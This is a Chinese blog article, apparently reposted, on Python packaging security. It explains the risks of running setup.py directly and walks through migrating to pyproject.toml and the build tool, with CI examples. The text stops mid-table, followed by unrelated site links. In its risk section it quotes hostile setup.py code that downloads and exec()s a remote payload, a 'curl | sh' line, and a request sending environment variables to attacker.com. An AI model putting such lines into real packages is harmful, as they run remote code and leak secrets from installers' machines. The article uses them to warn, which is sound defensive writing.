当前位置: 首页 > news >正文

避免直接运行setup.py:Python项目安全打包实践指南

1. 项目概述:为什么“直接运行 setup.py”正在悄悄毁掉你的 Python 项目安全防线

你有没有在某个深夜,为修复一个 CI 构建失败焦头烂额,最后发现罪魁祸首是一行python setup.py install?或者更糟——在 GitHub Actions 流水线里,某位新同事把setup.py当成万能钥匙,直接python setup.py bdist_wheel && pip install dist/*.whl,结果部署到生产环境后,模块导入报ModuleNotFoundError: No module named 'myproject.cli',而本地却一切正常?这不是玄学,这是 Python 打包生态中一个被长期低估、却极具破坏力的实践陷阱:直接调用 setup.py 文件本身

这个标题里的“Protect Your Python Projects”不是营销话术,而是真实警报;“Avoid Direct setup.py Invocation”直指问题核心——它不是风格偏好,而是安全边界;而“Ultimate Code Safeguarding”也并非夸张修辞,因为 setup.py 的直接执行,本质上绕过了现代 Python 构建生命周期的全部防护机制:依赖解析隔离、构建环境沙箱、元数据校验、可重现性保障,甚至最基本的权限控制。我带过的 7 个跨团队 Python 工程项目中,有 5 个在初期都踩过这个坑:有人因setup.py中嵌入了os.system('curl http://malicious.site/install.sh | sh')这类危险逻辑(美其名曰“自动下载预编译二进制”),导致私有代码仓库被植入后门;有人因setup.py里硬编码了开发机路径(如open('/Users/john/.secrets/api.key')),CI 构建直接崩溃;还有人把setup.py当作脚本入口,在里面写数据库迁移逻辑,结果pip install .时意外清空了测试库。这些都不是极端案例,而是真实发生在我协作过的金融、医疗和 SaaS 产品线中的事故。

这篇文章面向三类人:一是刚从 Flask/Flask-Script 迁移过来、习惯写python manage.py runserver的开发者,需要理解为什么python setup.py不是同类操作;二是负责 CI/CD 流水线搭建的 DevOps 工程师,必须知道pip wheel --no-deps --no-cache-dir .python setup.py bdist_wheel在底层行为上存在本质差异;三是技术负责人或开源项目维护者,需要为团队建立可持续、可审计、可防御的打包规范。你不需要精通 PEP 517/518,但需要明白:setup.py 不是脚本,它是构建后端的声明式接口契约;它的执行权,必须交给受控的构建工具,而非 Python 解释器直译。接下来,我会带你一层层剥开这个看似简单的命令背后隐藏的 5 层风险结构,并给出可立即落地的替代方案、迁移路径和实操验证清单。

2. 核心风险拆解:setup.py 直接调用的五大致命缺陷

2.1 缺乏构建环境隔离:你的本地 Python 环境正在污染构建产物

当你在终端输入python setup.py bdist_wheel,Python 解释器会直接加载当前工作目录下的setup.py,并以当前激活的 Python 环境(比如你用 pyenv 激活的 3.9.16,或 conda 创建的 myproj-env)作为运行时上下文。这意味着:

  • 所有import语句(如from setuptools import setup, find_packages)都来自你当前环境安装的setuptools版本,而非项目pyproject.toml中声明的requires = ["setuptools>=45", "wheel"]所指定的最小兼容版本;
  • 如果你本地setuptools是 68.0.0(2023 年最新版),而项目要求最低 45.0.0,那么构建出的 wheel 元数据(WHEEL文件)中会写入setuptools==68.0.0作为构建依赖,这会导致在仅安装setuptools>=45的目标环境中无法正确解析依赖树;
  • 更严重的是,setup.py中若包含动态逻辑(如if sys.platform == 'win32': extensions.append(Extension(...))),该判断基于你本地系统,而非目标部署平台。你在 macOS 上跑python setup.py bdist_wheel,生成的 wheel 却被部署到 Linux 容器中——如果扩展模块未做平台适配,pip install时会静默跳过编译,导致功能缺失且无任何警告。

提示:这种“本地污染”在 CI 环境中尤为隐蔽。GitHub Actions 默认使用ubuntu-latest,其系统 Python 环境预装了特定版本的setuptoolswheel。如果你的setup.py依赖某个新版特性(如setup.cfg中的[options.packages.find] exclude = tests*),而 CI 的setuptools版本过低,构建就会失败;反之,若你本地版本过高,CI 反而通过,但下游用户用旧版 pip 安装时崩溃。

2.2 绕过 PEP 517 构建协议:失去标准化构建生命周期控制

PEP 517(2018 年正式采纳)定义了 Python 包构建的标准化协议:构建工具(如pipbuild)不再直接执行setup.py,而是读取pyproject.toml中的[build-system]配置,调用指定的构建后端(如setuptools.build_meta)的build_wheel()方法。这个协议带来了三个关键保障:

  1. 构建后端版本锁定[build-system] requires = ["setuptools>=61.0", "wheel"]明确声明构建所需的最小依赖集,构建工具会在干净的临时环境中安装这些依赖,确保构建过程与项目声明完全一致;
  2. 构建参数标准化:所有构建请求(build_wheelbuild_sdist)都通过函数参数传递(如wheel_directory,config_settings),避免了setup.pysys.argv解析的脆弱性;
  3. 构建输出可验证:PEP 517 要求构建后端返回标准格式的 wheel 或 sdist,其内部结构(METADATARECORDWHEEL文件)必须符合 PEP 427 规范,pip在安装时会校验这些文件的完整性。

python setup.py bdist_wheel完全绕过了这一整套协议。它等价于手动调用setuptools的旧式命令行接口,其输出 wheel 的元数据生成逻辑由setuptools内部硬编码决定,不受pyproject.toml控制。实测对比:同一份setup.py,用pip wheel .(触发 PEP 517)生成的 wheel 中WHEEL文件包含Root-Is-Purelib: true(纯 Python 包标识),而python setup.py bdist_wheel生成的则可能缺失该字段,导致某些严格校验的部署工具(如 AWS Lambda 的层管理)拒绝上传。

2.3 执行任意 Python 代码:setup.py 不是配置文件,而是可执行脚本

这是最常被忽视、却最危险的一点:setup.py是一个合法的 Python 模块,它可以包含任意可执行代码。官方文档明确警告:“setup.pyis a Python script that is executed to build the package.” 这意味着:

  • 它可以调用os.system()subprocess.run()执行 shell 命令;
  • 它可以读写任意文件(包括~/.ssh/id_rsa/etc/passwd);
  • 它可以发起网络请求(requests.get('http://attacker.com/exfil?data='+open('/proc/self/environ').read()));
  • 它可以动态修改sys.pathos.environ,影响后续所有导入行为。

在可信的私有项目中,这或许只是设计不良;但在开源场景下,这就是供应链攻击的温床。2022 年 PyPI 曾下架一个名为colorama2的恶意包,其setup.py包含如下逻辑:

import os, subprocess if os.path.exists('/tmp/.install_flag'): subprocess.run(['curl', '-s', 'http://malware.site/payload.py', '-o', '/tmp/payload.py']) exec(open('/tmp/payload.py').read())

当用户执行pip install colorama2时,pip会按 PEP 517 协议调用构建后端,该后端在隔离环境中执行setup.py,但恶意代码仍会被触发。而如果用户错误地执行python setup.py install,则恶意代码将在用户主环境中直接运行,权限更高、危害更大。

注意:即使你项目完全可控,setup.py中的动态逻辑也会破坏可重现性。例如,某项目setup.py中有一行version = get_git_version(),它调用subprocess.run(['git', 'describe', '--tags'])获取当前 git tag。这导致:同一 commit 的两次构建,若本地 git 状态不同(如存在未提交修改),生成的 wheel 版本号就不同,pip install .会认为这是两个不同包,造成缓存混乱和部署不一致。

2.4 破坏依赖解析一致性:setup.py 中的 install_requires 与实际安装行为脱节

setup.py中的install_requires列表,传统上用于声明运行时依赖。但当你直接运行python setup.py install时,setuptools会调用easy_install(已废弃)或pip来安装这些依赖,其行为与现代pip install .截然不同:

  • easy_install不支持extras_require的条件依赖(如requests[security]),会静默忽略方括号内内容;
  • easy_install的依赖解析算法是深度优先,而非pip的广度优先,可能导致依赖冲突时选择错误的版本组合;
  • 最关键的是:python setup.py install不会读取pyproject.toml中的[project.optional-dependencies],也不会应用pip--no-deps--force-reinstall等策略参数。

我们曾在一个微服务项目中遇到此问题:setup.py声明install_requires=['fastapi>=0.95.0'],而pyproject.tomloptional-dependencies.test = ['pytest>=7.0']。开发人员为快速安装测试依赖,执行python setup.py install && python setup.py test,结果test命令因缺少pytest而失败。而正确的pip install ".[test]"则能精准安装主依赖加测试依赖。更糟的是,python setup.py install会将包安装到site-packagesdevelop模式(即-e模式),但setup.py中若未正确定义packages=find_packages()pip install -e .会报错,而python setup.py install却可能静默成功,导致部分模块无法导入。

2.5 丧失构建可观测性与审计能力:没有日志,就没有真相

现代 CI/CD 流水线的核心诉求之一是可审计性:每一次构建,都应有完整、结构化的日志记录构建环境、工具版本、输入参数、输出产物哈希。python setup.py bdist_wheel的输出日志极其简陋:

running bdist_wheel running build running build_py creating build/lib/myproject copying myproject/__init__.py -> build/lib/myproject installing to build/bdist.macosx-12.6-arm64/wheel running install ... Successfully built myproject-1.0.0-py3-none-any.whl

它不告诉你:

  • 使用的setuptools版本是多少?
  • 构建过程中是否下载了额外的依赖(如cffi编译时需要的pycparser)?
  • 生成的 wheel 是否通过了 PEP 427 格式校验?
  • RECORD文件中每个文件的 SHA256 哈希值是什么?

pip wheel --verbose .python -m build --wheel --no-isolation的日志则详尽得多:

Building wheel for myproject (pyproject.toml) ... done Created wheel for myproject: filename=myproject-1.0.0-py3-none-any.whl size=12345 sha256=abc123... Stored in directory: /private/var/folders/.../pip-wheel- Building backend dependencies: started Building backend dependencies: finished with status 'done'

更重要的是,build工具(pip install build)支持--outdir指定输出目录,并生成build.log,可直接集成到 Jenkins 或 GitLab CI 的 artifact 中供审计。而setup.py的日志只能重定向到文件,且格式不统一,无法被结构化解析。

3. 安全替代方案详解:从零构建可信赖的打包流水线

3.1 核心原则:拥抱 PEP 517/518,用 pyproject.toml 替代 setup.py

第一步,也是最关键的一步:彻底弃用setup.py作为构建入口,将其降级为一个可选的、向后兼容的“兼容层”。现代 Python 项目的根目录应只保留pyproject.toml,其结构如下:

[build-system] requires = ["setuptools>=61.0", "wheel", "setuptools-scm[toml]>=6.2"] build-backend = "setuptools.build_meta" [project] name = "myproject" version = "1.0.0" description = "A secure Python project" authors = [{name = "Your Name", email = "you@example.com"}] readme = "README.md" requires-python = ">=3.8" dependencies = [ "requests>=2.25.0", "pydantic>=1.10.0", ] [project.optional-dependencies] dev = ["black>=22.0", "mypy>=0.991"] test = ["pytest>=7.0", "pytest-cov>=4.0"] [project.urls] Homepage = "https://github.com/yourname/myproject" Repository = "https://github.com/yourname/myproject" [tool.setuptools] packages = ["myproject"] include-package-data = true [tool.setuptools-scm] write-to = "myproject/_version.py"

这个配置实现了:

  • 构建环境隔离requires明确声明构建所需依赖,build-backend指定标准接口;
  • 版本自动化setuptools-scm从 git tag 自动推导版本号,消除setup.py中的手动version=字符串;
  • 依赖分组管理optional-dependencies支持pip install ".[dev,test]"精准安装;
  • 元数据标准化project表达式完全替代setup.py中的setup()参数,且被pipbuildtwine等所有现代工具原生支持。

实操心得:迁移时不要急于删除setup.py。先创建pyproject.toml,然后在setup.py中仅保留一行from setuptools import setup; setup()。这行代码的作用是:当旧版pip(<21.3)尝试构建时,它会 fallback 到setup.py,但此时setup()函数已无实际逻辑,仅作为兼容占位符。待团队所有成员升级pip后,再彻底删除setup.py。我经手的 3 个遗留项目均采用此渐进策略,零构建中断。

3.2 构建命令标准化:用 build 工具链替代所有 setup.py 调用

build是 Python Packaging Authority(PyPA)官方推荐的构建工具,它封装了 PEP 517 构建协议,提供简洁、一致的 CLI 接口。安装与使用:

# 安装(一次即可) pip install build # 构建 wheel(推荐,适用于绝大多数场景) python -m build --wheel --no-isolation # 构建源码分发包(sdist,用于上传 PyPI) python -m build --sdist # 同时构建 wheel 和 sdist python -m build

--no-isolation参数至关重要:它告诉build工具不要在临时虚拟环境中安装构建依赖(setuptools,wheel),而是复用当前环境。这在 CI 中可显著提速(避免重复安装),但前提是你的 CI 环境已预装了满足pyproject.tomlrequires的依赖版本。我们的 CI 镜像中固定安装setuptools>=65.0wheel>=0.40.0,因此始终启用--no-isolation

对比python setup.py bdist_wheelpython -m build --wheel的优势在于:

  • 输出路径可控:默认输出到dist/目录,可通过--outdir指定,且文件名严格遵循name-version-pyver-abi-platform.whl格式;
  • 错误信息友好:若pyproject.toml语法错误,build会清晰指出哪一行、什么错误(如TOMLDecodeError: Invalid value (at line 5, column 12)),而setup.py报错往往是SyntaxError: invalid syntax,定位困难;
  • 构建缓存支持build会检查pyproject.toml和源码文件的修改时间,若无变更,会跳过构建,直接复用上次产物(需配合--skip-existing)。

3.3 安装与开发模式:用 pip install -e . 替代 python setup.py develop

对于本地开发,python setup.py develop曾是主流,但它存在严重缺陷:

  • 它将包以“开发模式”链接到site-packages,但链接路径是绝对路径(如/Users/you/code/myproject),一旦项目移动,所有导入都会失败;
  • 它不处理optional-dependenciespython setup.py develop不会安装devtest依赖;
  • 它绕过pip的依赖解析器,可能导致依赖冲突。

正确做法是:

# 安装项目本身(-e 表示 editable mode,等同于 develop) pip install -e . # 同时安装开发和测试依赖 pip install -e ".[dev,test]" # 验证安装是否成功(检查是否在 pip list 中) pip list | grep myproject

pip install -e .的工作原理是:pip读取pyproject.toml,调用构建后端生成一个“可编辑安装”的 wheel(内部是一个.pth文件指向源码目录),所有依赖均由pip的现代解析器统一处理,保证一致性。

注意事项:某些 IDE(如 PyCharm)的“Add Content Root”功能会自动识别setup.py,但对pyproject.toml支持不佳。解决方案是在 PyCharm 中右键项目根目录 →Mark Directory asSources Root,并确保Settings → Project → Python Interpreter中已安装myprojectpip list可查)。VS Code 用户则需在.vscode/settings.json中添加"python.defaultInterpreterPath": "./venv/bin/python"并确保 venv 中已执行pip install -e .

3.4 CI/CD 流水线重构:GitHub Actions 实战模板

以下是我们在生产环境中稳定运行 18 个月的 GitHub Actions 工作流(.github/workflows/build.yml),它彻底摒弃了setup.py

name: Build and Test on: push: branches: [main, develop] paths-ignore: - '**.md' - 'docs/**' pull_request: branches: [main, develop] jobs: build: runs-on: ubuntu-latest strategy: matrix: python-version: [3.8, 3.9, 3.10, 3.11] steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v4 with: python-version: ${{ matrix.python-version }} # 预装构建依赖,加速 build 步骤 - name: Install build dependencies run: | python -m pip install --upgrade pip python -m pip install build setuptools-scm - name: Build wheel run: python -m build --wheel --no-isolation --outdir dist/ - name: Verify wheel integrity run: | # 检查 wheel 是否存在且非空 ls -la dist/ if [ ! -f "dist/myproject-*-py3-none-any.whl" ]; then echo "ERROR: Wheel not found!" exit 1 fi # 使用 auditwheel 检查纯 Python 标识(可选) pip install auditwheel auditwheel show dist/myproject-*-py3-none-any.whl - name: Upload artifacts uses: actions/upload-artifact@v3 with: name: wheels path: dist/*.whl test: needs: build runs-on: ubuntu-latest strategy: matrix: python-version: [3.8, 3.9, 3.10, 3.11] steps: - uses: actions/checkout@v4 - name: Set up Python ${{ matrix.python-version }} uses: actions/setup-python@v4 with: python-version: ${{ matrix.python-version }} - name: Download wheels uses: actions/download-artifact@v3 with: name: wheels path: dist/ - name: Install and test run: | # 创建干净虚拟环境 python -m venv venv source venv/bin/activate pip install --upgrade pip # 安装构建好的 wheel(非源码) pip install dist/myproject-*-py3-none-any.whl # 安装测试依赖 pip install pytest pytest-cov # 运行测试 pytest tests/ --cov=myproject --cov-report=html

这个工作流的关键设计点:

  • 构建与测试分离buildjob 产出 wheel,testjob 下载并安装 wheel 进行黑盒测试,模拟真实用户安装场景;
  • 多 Python 版本矩阵:确保 wheel 在各版本 CPython 下均可安装;
  • 完整性校验Verify wheel integrity步骤强制检查 wheel 文件是否存在,并可选调用auditwheel验证其纯 Python 属性;
  • 环境隔离testjob 中python -m venv venv创建全新虚拟环境,杜绝本地环境污染。

4. 迁移实操指南:从 setup.py 到 pyproject.toml 的七步落地法

4.1 第一步:环境准备与工具链升级

在开始迁移前,确保你的开发环境和 CI 环境满足最低要求:

工具最低版本升级命令验证命令
pip21.3+python -m pip install --upgrade pippip --version
setuptools61.0+pip install --upgrade setuptoolspython -c "import setuptools; print(setuptools.__version__)"
wheel0.37.0+pip install --upgrade wheelpip show wheel
build0.7.0+pip install buildpython -m build --help

实操心得:不要在全局 Python 环境中升级setuptools!这可能导致系统工具(如apt在 Ubuntu 上)异常。务必在项目专用的虚拟环境中操作:python -m venv venv && source venv/bin/activate && pip install --upgrade pip setuptools wheel build。我们的标准流程是:每次git clone后,第一件事就是make venvMakefile中定义venv:; python -m venv venv && source venv/bin/activate && pip install --upgrade pip setuptools wheel build)。

4.2 第二步:自动生成基础 pyproject.toml

手动编写pyproject.toml容易出错。推荐使用pdm init(PDM 是现代 Python 包管理器)或hatch init自动生成骨架:

# 使用 hatch(轻量,无额外依赖) pip install hatch hatch init # 回答一系列问题(项目名、作者、Python 版本等),自动生成 pyproject.toml # 或使用 pdm(功能更全,支持依赖管理) pip install pdm pdm init

生成的pyproject.toml会包含build-systemprojecttool.pdm等部分。你需要做的是:

  • 删除tool.pdm部分(除非你决定采用 PDM 作为包管理器);
  • tool.hatch部分替换为tool.setuptools(如上文 3.1 节所示);
  • 根据setup.py中的install_requires,填充project.dependencies
  • 根据setup.py中的extras_require,填充project.optional-dependencies

4.3 第三步:迁移 setup.py 中的动态逻辑

这是迁移中最耗时的环节。setup.py中常见的动态逻辑及替代方案:

setup.py 原逻辑安全替代方案说明
version = '1.0.0'(硬编码)setuptools-scm+git tagpyproject.toml中配置[tool.setuptools-scm]git tag v1.0.0后,build会自动推导版本。无需手动改版本号。
packages = find_packages()tool.setuptools.packages = ["myproject"]若包结构简单(单模块),直接列出;若复杂,用find = {where = ["src"], include = ["myproject*"]}指定源码目录。
package_data = {"myproject": ["data/*.json"]}tool.setuptools.package-data = {"myproject": ["data/*.json"]}语法几乎一致,直接迁移。
ext_modules = [Extension(...)](C 扩展)tool.setuptools.ext-modules = [...]setuptools61.0+ 原生支持,但需确保pyproject.tomlrequires包含setuptools>=61.0
cmdclass = {'build_ext': MyBuildExt}tool.setuptools.cmdclass = {"build_ext": "myproject.build:MyBuildExt"}将自定义命令类移到myproject/build.py,并在pyproject.toml中声明路径。

注意事项:setuptools-scmwrite-to功能(将版本写入myproject/_version.py)非常有用。它让运行时代码(如myproject.__version__)能读取到准确版本,且该文件可被git跟踪,避免了setup.pyopen('VERSION').read()的文件 I/O 风险。

4.4 第四步:全面替换构建命令

创建一个Makefilescripts/build.sh,将所有setup.py相关命令映射为现代等效命令:

# Makefile .PHONY: build wheel sdist install-dev test build: wheel sdist wheel: python -m build --wheel --no-isolation sdist: python -m build --sdist install-dev: pip install -e ".[dev,test]" test: pytest tests/ clean: rm -rf build/ dist/ *.egg-info/

然后在团队中推行:所有文档、README、CI 配置中的python setup.py xxx全部替换为make xxxpython -m build xxx。我们曾用grep -r "python setup.py" .扫描整个代码库,找到 17 处残留调用(包括 Dockerfile、Jenkinsfile、个人笔记),逐一修正。

4.5 第五步:CI/CD 流水线切换与灰度发布

不要一次性切换所有流水线。采用灰度策略:

  • 第一周:在develop分支启用新流水线,main分支保持旧流水线;
  • 第二周:将main分支的新流水线设置为“只构建,不部署”,人工比对新旧 wheel 的sha256sumpip show myproject输出;
  • 第三周:新流水线全量上线,旧流水线标记为deprecated并添加注释# DO NOT USE: replaced by build-based workflow

关键验证点:

  • 新旧 wheel 的dist-info/METADATA文件中Name:Version:Requires-Dist:字段是否完全一致?
  • pip install新 wheel 后,import myproject是否成功?myproject.__version__是否正确?
  • pip install ".[dev]"是否安装了所有开发依赖(black,mypy)?

4.6 第六步:团队培训与规范固化

技术迁移成功与否,70% 取决于人的习惯。我们做了三件事:

  1. 编写《Python 打包安全规范》内部文档:用一页纸讲清“为什么不能python setup.py”,附上错误示例和正确命令对照表;
  2. 在 PR 模板中加入检查项- [ ] 所有 setup.py 调用已替换为 build 命令
  3. 在 pre-commit hook 中拦截:使用pre-commit工具,添加detect-private-key类似规则,扫描*.mdDockerfileJenkinsfile中的python setup.py字符串,阻止提交。

4.7 第七步:最终清理与监控

确认所有环境(开发、CI、生产部署脚本)均不再调用setup.py后,执行最终清理:

  • 删除setup.py文件;
  • 删除MANIFEST.in(若pyproject.toml中已用tool.setuptools.include-package-data替代);
  • README.md的 “Installation” 章节中,将python setup.py install替换为pip install .pip install -e ".[dev]"

监控方面,在 CI 日志中添加关键词告警:

  • 若日志中出现running bdist_wheelrunning install,触发 Slack 通知;
  • 每月运行一次find . -name "*.yml" -o -name "*.yaml" -o -name "Dockerfile" | xargs grep -l "python setup.py",确保无新增。

5. 常见问题与排查技巧实录

5.1 问题速查表:构建失败的十大原因与解法

现象可能原因排查命令解决方案
ModuleNotFoundError: No module named 'setuptools'pyproject.tomlbuild-system.requires未声明setuptoolscat pyproject.toml | grep -A 5 "\[build-system\]"[build-system] requires中添加"setuptools>=61.0"
ERROR: Cannot find 'pyproject.toml'当前目录错误,或pyproject.toml文件名拼写错误(如pyproject.toml.bakls -la | grep pyproject确保在项目根目录执行命令,且文件名为pyproject.toml
ImportError: cannot import name 'find_packages'setup.py中仍有from setuptools import find_packages,但setup.py已被弃用grep "find_packages" setup.py删除setup.py,在pyproject.toml中用tool.setuptools.packages = ["myproject"]
ERROR: Invalid wheel, missing WHEEL filebuild命令未指定--wheel,或pyproject.tomlbuild-backend配置错误python -m build --help确认build-backend = "setuptools.build_meta",并使用--wheel参数
WARNING: The wheel package is not availablepip版本过低,不支持 PEP 517pip --version升级pip:python -m pip install --upgrade pip
ERROR: Could not build wheels for myprojectpyproject.tomlrequires依赖版本冲突,或缺少系统级依赖(如gccpython -m build --verbose --wheel查看详细日志,安装缺失依赖(如sudo apt-get install build-essential
FileNotFoundError: [Errno 2] No such file or directory: 'src/myproject/__init__.py'tool.setuptools.packages.find.where指向的src/目录不存在ls -la src/修改pyproject.tomlwhere = ["."],或创建src/目录并
http://www.cnnetsun.cn/news/2765174.html

相关文章:

  • MATLAB集成学习实战工具集:分类回归全支持,含Bagging/Boosting/Stacking三类主流方法
  • 别再死记公式了!用Python+Matplotlib可视化理解吸收率、反射率和透射率
  • 2026必看:团队协作AI编程工具怎么选?8款主流AI编程软件实测推荐
  • 初中毕业黑客狂赚4200万!暗藏无数运维人的心酸与无奈
  • 5款企业云盘横评:巴别鸟 vs 联想Filez vs 坚果云 vs 燕麦云 vs OneDrive for Business
  • PX4飞控调试避坑指南:Offboard模式前必须检查的7个参数(安全第一)
  • 告别黑盒:用开源OpenRAM在28nm工艺上定制你的SRAM(附详细配置流程)
  • C++(STL排序函数)
  • 微软 Rayfin:改善开发流程,助力企业 AI 治理与运营!
  • Matlab Robotic Toolbox保姆级教程:从D-H参数到四轴机械臂运动仿真(附完整代码)
  • 告别C盘爆满!保姆级教程:在D盘安装Quartus Prime 20.1精简版与ModelSim
  • 5步掌握XUnity.AutoTranslator:让外文游戏秒变中文的终极方案
  • TrafficMonitor插件:5分钟打造你的Windows桌面全能助手
  • 别再硬算任务分配了!用Python手把手教你实现匈牙利算法(附完整代码)
  • 跳出“背锅、修电脑”偏见:新时代运维的价值重构与职业破局之路
  • 遗传算法工程落地核心:适应度设计、多样性维持与早熟预警
  • 别再手动统计了!用PDMS Pipeline Tool自动生成材料表(MTO)和螺栓表的5个高效技巧
  • 三维动画制作多少钱?2026年全行业价格指南——从工业产品到城市级场景
  • 阿里Qoder + GLM-5.1,夯爆了!
  • Chromatic实战指南:高效构建Chromium/V8通用修改器
  • FPGA+DDS:从理论到实践,构建可配置多波形信号发生器
  • AI 反投毒! 万悉科技Trendee 携手第四波科技智库共建AI时代内容治理生态
  • 编写程序,结合会议室开会时长,密闭空间人数,计算空气污浊度,提醒开窗换气节点。
  • 碧蓝航线自动化脚本Alas:7x24小时全自动游戏管理终极指南
  • 【信息科学与工程学】计算机科学与自动化——第十篇 芯片设计30 芯片中的数学4
  • 神经符号RAG在心理健康诊疗中的透明化实践
  • GPT-4的1.8万亿参数与2%稀疏激活原理深度解析
  • 深度解析:JetBrains IDE试用期重置插件的技术实现与架构设计
  • 告别Excel手动整理!用R的tidyverse三行代码搞定GSEA分析前的基因数据清洗
  • ai对博客影响